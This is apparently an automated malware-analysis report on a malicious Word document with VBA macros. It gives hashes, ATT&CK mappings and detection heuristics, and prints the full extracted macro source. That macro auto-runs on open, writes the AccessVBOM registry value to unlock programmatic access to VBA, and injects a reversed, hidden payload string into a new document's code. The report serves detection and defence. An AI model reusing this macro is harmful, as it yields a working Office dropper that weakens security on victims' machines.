Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 0f5508f1852fb24e…

MALICIOUS

Office (OOXML) / .DOC

75.9 KB Created: 2021-05-06 08:09:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-26
MD5: f07a8a1226e19b16ca014d0ea924e0a2 SHA-1: 3337d7ce751cfa6d30fffc46ffcc00c462af8805 SHA-256: 0f5508f1852fb24e927410e7abfc94ba3b029944a4302e06b0f5317f4d9cc7f2
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros. The 'autoopen' subroutine executes 'exceptionCollectionMain', which uses 'CreateObject("word.application")' to add code to the current document. It also uses 'CreateObject("wscript.shell")' to write a REG_DWORD value to the registry key HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM, likely to establish persistence or modify security settings. The script's intent appears to be to download and execute a second-stage payload, though the exact URL is obfuscated.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    With CreateObject("wscript.shell")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .AddFromString tempSwap
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set localLoad = CreateObject("word.application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1988 bytes
SHA-256: 40dd327ce1f5846226226c345bf29933405d8488bb22c71f110d4ad75e029cb6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{824ACFCB-7069-4CFA-AA66-8AAA463C0E3D}{0674760F-69AF-49B6-983B-128FD8D2A5AC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "funcIndex"
Sub autoopen()
mainExceptionClear 1
Dim funcBufNext As String
funcBufNext = AQuery
exceptionCollectionMain funcBufNext
End Sub

Attribute VB_Name = "vbAIterator"
Sub exceptionCollectionMain(tempSwap As String)
Set localLoad = CreateObject("word.application")
With localLoad.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString tempSwap
End With
localLoad.Visible = False
localLoad.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "ExRight"
Function collectionConst() As String
collectionConst = Application.Version
End Function
Sub copyStorageButton(storageLocalBorder, buttonClear)
With CreateObject("wscript.shell")
.RegWrite storageLocalBorder, buttonClear, "REG_DWORD"
End With
End Sub
Function documentCounter(storageLocalBorder)
documentCounter = "HKEY_CURRENT_USER\Software\Microsoft\Office\"
End Function
Function namespaceData(storageLocalBorder)
namespaceData = "\Word\Security\AccessVBOM"
End Function
Sub mainExceptionClear(buttonClear)
storageLocalBorder = documentCounter("indexStructArgument")
localText = collectionConst
indexPtrBuf = namespaceData("indexStructArgument")
copyStorageButton storageLocalBorder & localText & indexPtrBuf, buttonClear
End Sub
Function AQuery()
AQuery = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23552 bytes
SHA-256: 23031d9b2d90e32b9042afd249400f6a19ae7091dc86a25adec7859f5162be8d

Open this report in the interactive analyzer, or submit your own file for analysis.